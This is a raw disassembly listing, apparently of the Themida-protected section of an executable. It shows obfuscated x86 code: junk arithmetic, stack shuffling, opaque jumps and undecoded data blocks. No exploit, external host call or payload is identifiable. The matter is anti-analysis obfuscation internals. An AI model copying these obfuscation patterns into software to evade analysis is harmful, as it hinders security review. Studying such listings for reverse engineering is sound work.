		dd 2474FF24h, 48F5F04h,	1665C24h, 0E99C2404h, 0FFFF93F4h
		dd 8A7E981h, 0CB894142h, 0E9240C8Bh, 4A0Bh
; ---------------------------------------------------------------------------

loc_4F9B10:				; CODE XREF: Themida_:004FCA67j
		push	ebp
		mov	ebp, 319A77A2h
		shl	ebp, 1
		jmp	loc_4F7A08
; ---------------------------------------------------------------------------
		db 59h,	57h, 0E9h
		dd 0FFFFEFA7h, 363FC981h, 0E9833073h, 81D9F7FFh, 0EB0451E9h
		dd 0ABE9810Eh, 1333F5Ch, 28E959CDh, 2C000001h, 0E9F000E5h
		dd 3F31h
; ---------------------------------------------------------------------------

loc_4F9B4C:				; CODE XREF: Themida_:004FA046j
		mov	ebp, 1F7739C6h
		mov	esi, 0D28474B7h
		add	esi, ebp
		pop	ebp
		sub	ecx, esi
		pop	esi
		sub	eax, ecx
		pop	ecx
		push	edi
		mov	edi, 7762514Eh
		push	5E55h
		mov	[esp], ecx
		push	31F77772h
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 2DDD42DFh
		add	eax, ecx
		jmp	loc_4F4C89
; ---------------------------------------------------------------------------
		dd 0E9243C89h, 2B13h, 46E9E189h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_4F9B93:				; CODE XREF: Themida_:004FB703j
		not	edi
		shr	edi, 2
		jmp	loc_4F7771
; ---------------------------------------------------------------------------
		db 0B9h, 71h, 0Fh
		dd 0C981347Ch, 4C84054Ah, 2F65E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F9BAD:				; CODE XREF: Themida_:004FBF0Fj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4FE279
; ---------------------------------------------------------------------------
aTsL		db 'TL',0
		align 4
		dd 0D8E9595Eh, 1FFFFFBh, 148758C2h, 0D3665C24h,	0E99C2424h
		dd 0FFFF9320h, 24348157h, 25277C22h, 0FFCE43E9h, 5EF101FFh
		dd 0AAE9CB09h, 89000023h, 0DAE955E6h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F9BF3:				; CODE XREF: Themida_:004FA360j
		not	ebx
		xchg	ebx, edi
		jmp	loc_4FD98D
; ---------------------------------------------------------------------------
		dd 4EC835Eh, 0FFD098E9h, 2434FFFFh, 8124148Bh, 4C4h, 13A66800h
		dd 14890000h, 505A5424h, 141727B8h, 573A0557h, 0B9E9174Dh
		dd 66FFFFAEh, 68240C8Bh, 7798h,	137BE9h, 243C8700h, 24048F5Ch
		dd 0CAD0E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F9C46:				; CODE XREF: Themida_:004F3592j
		push	edx
		mov	edx, 618C5052h
		dec	edx
		not	edx
		shl	edx, 4
		shl	edx, 6
		add	edx, 653FB56Ah
		sub	ecx, edx
		pop	edx
		sub	ecx, 0E77C97B1h
		and	ebp, ecx
		jmp	loc_4FB74D
; ---------------------------------------------------------------------------
		db 56h
		dd 4003ACBEh, 5EEC151h,	70B4CE81h, 0E6C10DF9h, 9C68106h
		dd 29B2C5AEh, 1070E9F5h, 0C4830000h, 4C38304h, 6ADC68h
		dd 3E4E900h, 55E90000h,	59FFFF92h, 0EE5BE56h, 0C6813273h
		dd 1A6C6F86h, 0D04C681h, 0E6814C21h, 39846F8Dh,	112AC681h
		dd 0F2294ECEh, 51FA015Eh, 0CE1C37B9h, 0DAEA8167h, 150A574h
		dd 0DAC281CAh, 0E950A574h, 0FFFFDEEDh, 8C2CF028h, 8124148Bh
		dd 4C4h, 95B25200h, 0E95AD300h,	2AC8h
; ---------------------------------------------------------------------------

loc_4F9CF4:				; CODE XREF: Themida_:004F93B6j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4F62B1
; ---------------------------------------------------------------------------
		db 0B9h, 0A0h, 23h
		dd 0C9812CE8h, 47987EFCh, 8105E9C1h, 6137B4C1h,	0AAF18149h
		dd 811EBB32h, 0D48759F1h, 59CD0158h, 0D6EB815Eh, 116C46Dh
		dd 6DBE56EBh, 0F736760Fh, 51E681D6h, 0F72D4E2Eh, 0E6C681DEh
		dd 11FCC8Dh, 84E95EF3h,	0B900000Fh, 4, 0C8BCB01h, 0FF34E924h
		dd 4A5EFFFFh, 3BBDF281h, 0E2C15A3Ch, 27B9E903h,	0E9520000h
		dd 0FFFFCB3Dh, 5C241487h, 0FFD160E9h, 4C481FFh,	25000000h
		dd 13F55F62h, 405E0D1h,	2D587B2Ah, 1D4A1F81h, 4EC81h, 3C890000h
		dd 2E87BF24h, 0F8313C79h, 83243C8Bh, 0C30104C4h, 241C8758h
		dd 0F724248Bh, 0DE08E9F9h, 1C89FFFFh, 8DB65224h, 0F328C5B3h
		dd 0FFC7F8E9h, 70992DFFh, 2C8B1DD2h, 3041E924h,	0E6D10000h
		dd 74DDE681h, 0BEE91B81h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F9DDB:				; CODE XREF: Themida_:004FDC8Cj
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xor	ecx, 4BE24014h
		sub	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_4FE37B
; ---------------------------------------------------------------------------
aUse5		db 'e5',0
		db 0
; ---------------------------------------------------------------------------

loc_4F9E03:				; CODE XREF: Themida_:004FC813j
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	edx
		push	edi
		mov	edi, 63C75AC8h
		push	ebp
		push	659E75BEh
		pop	ebp
		add	ebp, 0FE28E50Eh
		mov	edx, ebp
		pop	ebp
		sub	edx, edi
		pop	edi
		add	esi, edx
		pop	edx
		jmp	loc_4FAF3C
; ---------------------------------------------------------------------------
aKTxs		db 'k>X}(',0
		dd 1062BB00h, 0BE5610E9h, 7E6418FCh, 0FFADB7E9h, 74EF81FFh
		dd 50635110h, 274401B8h, 79332D7Eh, 55400A1Ah, 87568CBDh
		dd 0C581450Bh, 54991383h, 0A5E9E829h, 89000041h, 2DE92414h
		dd 57FFFFBAh, 0BA52E789h, 4, 6BE95755h,	100004Ch, 0C5505D8h
		dd 1C8B3B9Fh, 4C48124h,	0E9000000h, 5102h, 69D1BB53h, 9E9753Eh
		dd 81FFFFEEh, 36C7C4C2h, 5AD6015Ah, 4EC81h, 4890000h, 5E08924h
		dd 4, 3733E9h, 0BB535C00h, 2, 6E9DD01h,	5EFFFF9Dh, 0E9241C87h
		dd 40E8h, 343DC981h, 0E9576795h, 0FFFFC93Dh, 5C240433h
		dd 9C2424D3h, 0FF9003E9h, 5EC581FFh, 0E9693036h, 373h
; ---------------------------------------------------------------------------

loc_4F9EFC:				; CODE XREF: Themida_:004F37A1j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_4F808D
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 32h
		dd 56FFFFDBh, 0FFFCDAE9h, 708FBBFFh, 0E9430E86h, 0FFFFACCDh
		dd 0BAABE952h, 0E959FFFFh, 0FFFFC4F6h, 4EC815Bh, 0E9000000h
		dd 0FFFFEC83h, 3226E94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F9F3A:				; CODE XREF: Themida_:004FB472j
		add	edi, 4
		sub	esp, 4
		jmp	loc_4F4033
; ---------------------------------------------------------------------------
		dd 2122BB53h, 0BF57082Ch, 5EC44DD9h, 815FFB09h,	0BC349FF3h
		dd 7C3811Bh, 4321600Bh,	8107EBC1h, 329F3CC3h, 0E9D901FFh
		dd 47Fh, 240C8B66h, 42E968h, 24348900h,	81685E54h, 89000003h
		dd 0BF572404h, 0EE82EF5h, 0BB20EF81h, 7CE9EC8Ch, 89000025h
		dd 0D798E9F1h, 515CFFFFh, 42474FFh, 24048F59h, 0FF24248Bh
		dd 8F3EE930h, 15DFFFFh,	34875BDEh, 31E95C24h, 8BFFFFDFh
		dd 34892424h, 2474FF24h, 48F5E04h, 24248B24h, 24048966h
		dd 0FF8F17E9h, 0E9C301FFh, 41ABh, 81D5F75Bh, 904276E5h
		dd 0E22AE904h, 0C8BFFFFh, 4C48124h, 28000000h, 0F02859EEh
		dd 0C0D6E95Ah, 0F900FFFFh, 83241C8Bh, 0E98004C4h, 0DDC98018h
		dd 0C180E1D0h, 0E6B75377h, 682AEF80h, 0
		dd 8A243C28h, 0C483243Ch, 0E164E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FA032:				; CODE XREF: Themida_:004F83DCj
		shr	ebp, 6
		and	ebp, 52B74058h
		sub	ebp, 0EB8235C4h
		sub	ecx, ebp
		pop	ebp
		push	esi
		push	ebp
		jmp	loc_4F9B4C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 2EA8300h, 2474FF52h, 2434FF04h, 0FF9ED3E9h, 241C87FFh
		dd 0DDB6525Ch, 0F652F680h, 69B551DEh, 202AED80h, 0F68059EEh
		dd 0D62BE955h, 1C89FFFFh, 2474FF24h, 48F5B04h, 0BE0F5C24h
		dd 300468C8h, 3C890000h, 0C85E924h, 33590000h, 0DCE9241Ch
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FA0A3:				; CODE XREF: Themida_:004F4C2Cj
		add	ecx, 3C5A288Ch
		and	ecx, 2A4D1BB7h
		shl	ecx, 5
		and	ecx, 690C668Bh
		push	ebx
		push	esi
		mov	esi, 7B17104Ch
		mov	ebx, 0DC0A365Ch
		add	ebx, esi
		pop	esi
		add	ecx, 4A775FAAh
		add	ecx, ebx
		sub	ecx, 4A775FAAh
		pop	ebx
		add	ecx, 0A7DEB4DCh
		add	edx, ecx
		pop	ecx
		push	edx
		jmp	loc_4FF336
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 7AD86851h, 8159682Dh, 0E95F50F1h, 0C1E95160h, 58FFFFFAh
		dd 0F749D1F7h, 0D27CE9D9h, 0D1F7FFFFh, 34E9D1F7h, 81FFFFE0h
		dd 0F26412C7h, 98EBE965h, 0EB80FFFFh, 51C3E988h, 0C8010000h
		dd 0E9240C8Bh, 0FFFFDF18h
; ---------------------------------------------------------------------------

loc_4FA12C:				; CODE XREF: Themida_:004F6E7Aj
		xchg	ebp, [esp]
		pop	esp
		and	dl, 0F1h
		push	eax
		mov	al, 5Dh
		add	dl, al
		mov	eax, [esp]
		add	esp, 4
		xor	al, dl
		pop	edx
		push	dx
		push	58ABh
		mov	[esp], eax
		push	1A38h
		mov	[esp], ecx
		mov	cl, 14h
		shr	cl, 3
		xor	cl, 74h
		add	cl, 5Ch
		and	cl, 0F8h
		or	cl, 0C3h
		xor	cl, 0CBh
		push	ebx
		mov	bl, cl
		mov	al, bl
		jmp	loc_4F58DA
; ---------------------------------------------------------------------------
		dd 0C107E3C1h, 0EB8108E3h, 0CEF47FFCh, 0B4E9DE01h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FA187:				; CODE XREF: Themida_:004F6303j
		sub	ebp, 4B1F30D0h
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	ebx, eax
		add	ebx, 1B80588Ch
		mov	dx, [esp]
		push	7276h
		jmp	loc_4FE537
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 6C735D92h, 68E9D7F7h, 31FFFFBBh, 0C33240Ch, 0ADE5E924h
		dd 0D1F6FFFFh, 0E99FE180h, 4A08h, 0BF243C89h, 0BFB3289h
		dd 0EBBBA52h, 0BD5510A0h, 3C636734h, 0E95DEA31h, 0FFFFEDD8h
		dd 0FF8D07E9h, 74FF52FFh, 8F5A0424h, 575C2404h,	0C781E789h
		dd 4, 4C781h, 3C870000h, 4295C24h, 0E1E99C24h, 80FFFF8Ch
		dd 0F6800BEEh, 173CE99Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FA21E:				; CODE XREF: Themida_:004FEBB2j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_4F9444
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0FA010000h, 4EC835Fh, 0FFE759E9h, 0E98058FFh, 0DC88501Ah
		dd 0FFB45DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FA245:				; CODE XREF: Themida_:004F4798j
		sub	esp, 4
		mov	[esp], ecx
		pop	edx
		pop	ecx
		and	ecx, edx
		pop	edx
		shr	ecx, 2
		sub	esp, 4
		jmp	loc_4F69EC
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 9D682404h, 89000071h, 71E92414h, 1FFFFCBh, 5EED81F5h
		dd 5E693036h, 2CE0EE81h, 0EE013423h, 2CE0C681h,	835D3423h
		dd 348704C6h, 24248B24h, 14EB68h, 241C8900h, 0C812E954h
		dd 0EE29FFFFh, 0E6814E5Dh, 222C6BA6h, 961EE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FA2AE:				; CODE XREF: Themida_:004F7304j
		sub	edi, 75A1F3Dh
		push	edi
		add	dword ptr [esp], 3F50435Eh
		jmp	loc_4F80C5
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0D8h
		dd 2404875Bh, 0D224248Bh, 0E99C243Ch, 0FFFF8C20h
; ---------------------------------------------------------------------------

loc_4FA2D4:				; CODE XREF: Themida_:004F62C4j
		pop	edx
		shr	eax, 0Bh
		xor	ecx, eax
		push	0B2Dh
		jmp	loc_4FDE1D
; ---------------------------------------------------------------------------
		dd 3EEC158h, 44DECE81h,	0BB534B6Fh, 203C16CDh, 815BDE09h
		dd 7F57FBF6h, 5EF3016Fh, 2BA52h, 0D3010000h, 5A2434FFh
		dd 4C481h, 1C870000h, 24248B24h, 24048B66h, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 8957241Ch, 4C781E7h
		dd 83000000h, 3C8704EFh, 8F545C24h, 4812404h, 424h, 274DE900h
		dd 34B80000h, 4024E465h, 0CB95E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FA35E:				; CODE XREF: Themida_:004F6327j
		pop	edi
		pop	ebx
		jmp	loc_4F9BF3
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 2404895Ch, 42474FFh,	8124048Bh, 4C4h, 24048F00h, 0E789575Ch
		dd 4C781h, 0C7830000h, 243C8704h, 0C8B60F5Ch, 8904EC83h
		dd 0A5E9241Ch, 81FFFFD1h, 0D441D2E9h, 81F90153h, 0D441D2C1h
		dd 0BE685F53h, 89000030h, 0BBE92414h, 0FF000029h, 5D042474h
		dd 8B24048Fh, 83E92424h, 52FFFF8Ch, 0EC6C4BBAh,	1AAA2D00h
		dd 0D029586Fh, 6F1AAA05h, 0E459E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FA3DE:				; CODE XREF: Themida_:004FD05Cj
		add	esp, 4
		add	ebx, eax
		push	eax
		mov	eax, 4BA548FEh
		add	ebx, eax
		jmp	loc_4F4017
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0E904C183h, 0FFFFD270h, 2434FF5Eh, 4C4835Ah,	0FF8AEBE9h
		dd 5A66FFh, 0E9B32CD8h,	0FFFFD5DAh, 0D14C181h, 0C15B31ADh
		dd 0C18107E9h, 0FFA4A430h, 1BE9C821h, 81FFFFCBh, 4C3h
		dd 4EC8100h, 89000000h,	74FF241Ch, 0AE90424h, 89FFFF8Eh
		dd 0D5BB241Ch, 817C796Eh, 0D34DD6C3h, 55B95166h, 0E9643702h
		dd 3E84h, 0AAC7E954h, 0EC81FFFFh, 4, 0BE243489h, 4, 34FFF289h
		dd 4893E924h, 74FF0000h, 0E95F0424h, 0FFFFF31Fh, 3FD6EF81h
		dd 61E9197Eh, 0B5FFFFBFh, 5BFD3017h, 0E92FC580h, 2543h
		dd 0E904C483h, 0FFFFE30Dh, 0BF243C89h, 385B1C7Ah, 4EC81h
		dd 1C890000h, 4AC5BB24h, 0E3D124E0h, 0A82CE94Bh, 0BD55FFFFh
		dd 4, 34FFE801h, 47A2E924h, 0EB080000h,	0FFB328E9h, 4C181FFh
		dd 81000000h, 4E9h, 240C8700h, 2414895Ch, 77EAB951h, 81414539h
		dd 3977E9F1h, 3253E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FA4FE:				; CODE XREF: Themida_:004F808Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp

loc_4FA510:				; CODE XREF: Themida_:004FBA8Bj
					; Themida_:004FDC6Cj
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	edi
		mov	edi, 0E897428h
		and	edi, 4BE745D7h
		xor	edi, 0A814404h
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		jmp	loc_4FE529
; ---------------------------------------------------------------------------

loc_4FA550:				; CODE XREF: Themida_:004F6D39j
		sub	esp, 4
		mov	[esp], edx
		pop	ecx
		jmp	loc_4F9544
; ---------------------------------------------------------------------------
		dd 807CB652h, 0F328AEC6h, 3573E95Ah, 34FF0000h,	0F993E924h
		dd 5450FFFFh, 0B019E958h, 0BF57FFFFh, 23514087h, 467FC781h
		dd 0EF816900h, 8C518702h, 875FF901h, 248B240Ch,	895AE924h
		dd 5E53FFFFh, 0FFD6B9E9h, 7EAC0FFh, 30F5EA80h, 0D38CE9D7h
		dd 0C483FFFFh, 4429E904h, 0F0210000h, 20A355Eh,	0C601000Bh
		dd 4C68358h, 8B243487h,	4012424h, 21E99C24h, 66FFFF89h
		dd 2404BB0Fh, 8916E99Ch, 77FFFFFFh, 59669D1Ch, 9C241CD3h
		dd 0FF8907E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FA5ED:				; CODE XREF: Themida_:004FB69Cj
		push	eax
		mov	eax, esp
		jmp	loc_4F6236
; ---------------------------------------------------------------------------
		db 55h,	87h, 1Ch
		dd 87D3F724h, 565D241Ch, 2DC65CBEh, 5EF529E5h, 0E95DE801h
		dd 0FFFFD5FBh, 4C481h, 0C9090000h, 4CF2840Fh, 4D680000h
		dd 68000039h, 3477h, 83242489h,	4AE904ECh, 0FFFFFFBCh
		dd 0C8B2434h, 4C48124h,	83000000h, 70E904C4h, 52FFFFB6h
		dd 12454F6h, 1713E9h
		db 0
; ---------------------------------------------------------------------------

loc_4FA651:				; CODE XREF: Themida_:004F783Aj
		xor	esi, [esp]
		jmp	loc_4F8F37
; ---------------------------------------------------------------------------
		db 5Bh,	41h, 81h
		dd 78AB6FE9h, 994AE9E0h, 0F531FFFFh, 5E2434FFh,	0C104C483h
		dd 0ED8103E5h, 1857F9EEh, 2C8BEA01h, 0A4B1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FA682:				; CODE XREF: Themida_:004F8AE4j
		mov	bh, dl
		pop	edx
		pop	ecx
		pop	eax
		jmp	loc_4F7323
; ---------------------------------------------------------------------------
		dd 8B241487h, 0C2FE2424h, 10E9CAFEh, 81FFFFD2h,	4C4h, 4C48100h
		dd 68000000h, 78CBh, 4D8CE9h, 2434FF00h, 8B545359h, 5455241Ch
		dd 0FFCB58E9h, 55854FFh, 4, 0FF9C7CE9h,	37F181FFh, 572F1D08h
		dd 38E6BA52h, 0D7896A02h, 2DC7815Ah, 81441266h,	5E0E64F7h
		dd 97CF817Fh, 0C11C781Eh, 0E0E905EFh, 33FFFFDBh, 0E95C243Ch
		dd 4915h, 0BD555A54h, 693F7CC9h, 0FFE438E9h, 0F7DEF7FFh
		dd 1FE8E9DEh, 8F590000h, 815C2404h, 5A30B3EFh, 0ACEF8130h
		dd 81743B21h, 237FA7EFh, 42C7816Ch, 8172A871h, 163405EFh
		dd 4B1AE907h, 0D5BA0000h, 81B872FEh, 212623EBh,	5EB810Ch
		dd 1448E0Fh, 5C381D3h, 81448E0Fh, 212623C3h, 24148B0Ch
		dd 0FFC837E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FA765:				; CODE XREF: Themida_:004F915Aj
		push	edi
		mov	edi, 1289608Fh
		jmp	loc_4F456F
; ---------------------------------------------------------------------------

loc_4FA770:				; CODE XREF: Themida_:004FD6ABj
		xor	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_4F8A40
; ---------------------------------------------------------------------------

loc_4FA77A:				; CODE XREF: Themida_:004F4954j
		shr	edx, 3
		inc	edx
		and	edx, 5D3E52F1h
		xor	edx, 30695079h
		xor	edx, 32C34B9Ah
		sub	ebx, edx
		jmp	loc_4F8D1F
; ---------------------------------------------------------------------------
		db 81h
		dd 0A445FACDh, 0EF99E95Ch, 0E5D1FFFFh, 0ED81D5F7h, 577D3885h
		dd 89E9EE01h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4FA7B3:				; CODE XREF: Themida_:004FE4B5j
		push	ebx
		mov	ebx, 4EB840AFh
		push	edx
		mov	edx, 6E75699Fh
		jmp	loc_4F8C77
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC8156h,	54000000h, 0FF8D27E9h, 24248BFFh
		dd 81240489h, 4ECh, 0D566E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FA7E6:				; CODE XREF: Themida_:004F390Dj
		push	ebp
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4

loc_4FA7F9:				; CODE XREF: Themida_:004F92B3j
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_4F311A
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0BF57D831h, 67DE6D4Bh, 0DB3C5E05h, 56F8017Bh, 26A2BF57h
		dd 0AFBE2349h, 8154B775h, 8B09A7F6h, 5FFE3116h,	0BA52D6F7h
		dd 4947CCEh, 815AD631h,	0E50E7AC6h, 0B7BF5771h,	299028ABh
		dd 8CE95FFEh, 0B100001Eh, 0E9CE30F9h, 3C6Bh, 6856C5BDh
		dd 339E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FA87E:				; CODE XREF: Themida_:004FEA17j
		pop	esp
		mov	fs:[edx], al
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_4F6ACA
; ---------------------------------------------------------------------------

loc_4FA890:				; CODE XREF: Themida_:004F521Bj
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 78BE1A72h
		push	eax
		sub	dword ptr [esp], 211C1D17h
		pop	ebx
		add	ebx, 211C1D17h
		pop	eax
		neg	ebx
		or	ebx, 719C1EB0h
		sub	ebx, 0CB8792EDh
		add	edi, ebx
		pop	ebx
		push	0
		sub	dword ptr [esp], 49BC380Dh
		jmp	loc_4F3767
; ---------------------------------------------------------------------------
aFpE		db 'fPe',0
		dw 66C1h
		dd 0E9C82858h, 0FFFFE903h, 0F527C4BFh, 0A7CFE94Ah, 0E95DFFFFh
		dd 0FFFFC9C5h, 0CEF3815Ah, 557C71FBh, 44940BDh,	9ECD813Dh
		dd 4D6B1732h, 1193E9h, 4EC8300h, 0FF240C89h, 0E9042474h
		dd 4156h, 4246C01h, 0FFC089E9h,	5DEB29FFh, 5706E3C1h, 4E1400BFh
		dd 5FFB01B9h, 0FFAD9EE9h, 0FC009FFh, 0FFD05784h, 1C77FFFFh
		dd 56240C8Bh, 0EC81E689h, 4, 0BD242C89h, 544163BBh, 0FFFE49E9h
		dd 0BF575FFFh, 474668EAh, 971AC781h, 0FE01B8B9h, 0E389535Fh
		dd 4C381h, 0EB830000h, 241C8704h, 2434895Ch, 42474FFh
		dd 24048F5Eh, 2404315Ch, 0B3E99Ch, 0EE830000h, 0FFEE8301h
		dd 0C681EED1h, 28CC1579h, 348BF131h, 896AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FA9A6:				; CODE XREF: Themida_:004F8832j
		xor	eax, esi
		jmp	loc_4F4EC5
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 0E9h
		dd 0FFFF953Ah, 52243489h, 0FF9F10E9h, 0C7815FFFh, 4, 66B85052h
		dd 0F7027B05h, 0CBBB53D0h, 0C10DF030h, 1BE904EBh, 0BDFFFF9Bh
		dd 231F1054h, 295DEB89h, 0E94F5BDFh, 0FFFFDE09h, 2C6E68h
		dd 243C8900h, 37B5E9h, 6DBD5500h, 51642F47h, 5361E0B9h
		dd 0D7C98149h, 0F7040C33h, 814941D9h, 0B14E41C1h, 52C1812Fh
		dd 3163F437h, 0E58159CDh, 1755DA3h, 1B951h, 0CD290000h
		dd 0A4F58159h, 1006154h, 0CFF3E9E9h, 32FFFFFFh,	0FF84B3E9h
		dd 84AEE9FFh, 0FE01FFFFh, 2C6835Fh, 2474FF56h, 24348B04h
		dd 4C481h, 48F0000h, 24248B24h,	9C2424D2h, 0FF848BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FAA69:				; CODE XREF: Themida_:004FD2EDj
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_4F4D90
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 79C78102h, 8154F849h, 0D37339C7h, 30F78105h,	4F752571h
		dd 0FF9F58E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FAA8D:				; CODE XREF: Themida_:004FD3D4j
		pop	esp
		mov	[esp], ebx
		jmp	loc_4F7C89
; ---------------------------------------------------------------------------

loc_4FAA96:				; CODE XREF: Themida_:004F8A17j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	4877h
		mov	[esp], ebp
		push	edx
		push	765E48C5h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_4F3AF1
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0E904EC83h, 0FFFFBFD3h, 4BBD5553h, 8939016Ch, 0E94B5DEBh
		dd 0FFFFA3B1h
; ---------------------------------------------------------------------------

loc_4FAAD0:				; CODE XREF: Themida_:004F9303j
		mov	eax, ecx
		pop	ecx
		push	edx
		mov	edx, 148C1B09h
		or	edx, 395B4F4Ch
		shr	edx, 7
		push	499Fh
		mov	[esp], ebx
		push	edx
		push	0A627C59h
		pop	edx
		shr	edx, 8
		shr	edx, 7
		sub	edx, 0D1C714ACh
		push	edx
		pop	ebx
		pop	edx
		or	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, edx
		not	ebp
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		pop	edx
		pop	ebp
		jmp	loc_4F3520
; ---------------------------------------------------------------------------

loc_4FAB1A:				; CODE XREF: Themida_:004F695Cj
		xor	edi, [esp]
		jmp	loc_4F437D
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4EC8124h, 0E9000000h, 0FFFFAC14h
; ---------------------------------------------------------------------------

loc_4FAB30:				; CODE XREF: Themida_:004F9416j
		add	esi, 2109725Bh
		add	esi, 43CE6F8Eh
		jmp	loc_4FCB6E
; ---------------------------------------------------------------------------
		db 66h,	50h, 66h
		dd 0E93CF1B8h, 0FFFFEA24h, 582434FFh, 74AF68h, 24348900h
		dd 0E9575E54h, 29C4h, 8704EB83h, 895C241Ch, 0E8B22414h
		dd 0A3EE9h, 0AE743500h,	0C3299B5Dh, 241C8758h, 0E924248Bh
		dd 0FFFF83BAh
; ---------------------------------------------------------------------------

loc_4FAB84:				; CODE XREF: Themida_:004F4248j
		mov	esi, 2BFD444Eh
		add	[esp+4], esi
		pop	esi
		jmp	loc_4F523B
; ---------------------------------------------------------------------------
		db 83h
		dd 8B042404h, 0C9E92404h, 5A00002Dh, 69586853h,	0EDE90000h
		dd 0B9000016h, 1D607F9Eh, 0F5E9E9D1h, 8100001Dh, 0C10A1ECDh
		dd 3750E905h, 0C5BE0000h, 0C1006531h, 0F68102E6h, 5BB53392h
		dd 5B33EE81h, 0F1291BD0h, 59CA315Eh, 34FFD089h,	0E9565A24h
		dd 0FFFFA315h, 5DCD815Dh, 8107FA5Dh, 850275F5h,	5DEB8970h
		dd 0C775E950h, 0E800FFFFh, 0C8005966h, 5259A72Ch, 5056E289h
		dd 0FFCCC4E9h, 242489FFh, 4240481h, 58000000h, 405h, 4E88300h
		dd 5C240487h, 89243C89h, 0EDD8E9E7h, 8952FFFFh,	4C281E2h
		dd 83000000h, 148704C2h, 55685C24h, 89000055h, 0DCE9240Ch
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FAC4F:				; CODE XREF: Themida_:004FCB48j
		push	ecx
		mov	ecx, 765E08C6h
		sub	edx, ecx
		pop	ecx
		mov	ebp, edx
		pop	edx
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		xchg	eax, ebp
		jmp	loc_4FB7CF
; ---------------------------------------------------------------------------

loc_4FAC7C:				; CODE XREF: Themida_:004F5F0Ej
		add	ebp, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		jmp	loc_4FAEAA
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFEA03h, 0E9240C89h, 0FFFFFBD3h, 6C4CBB53h, 0E3C11288h
		dd 0E9D38702h, 0FFFF87F4h
; ---------------------------------------------------------------------------

loc_4FACA8:				; CODE XREF: Themida_:004FF17Bj
		add	ebx, eax
		jmp	loc_4FD9DC
; ---------------------------------------------------------------------------
		db 0FFh
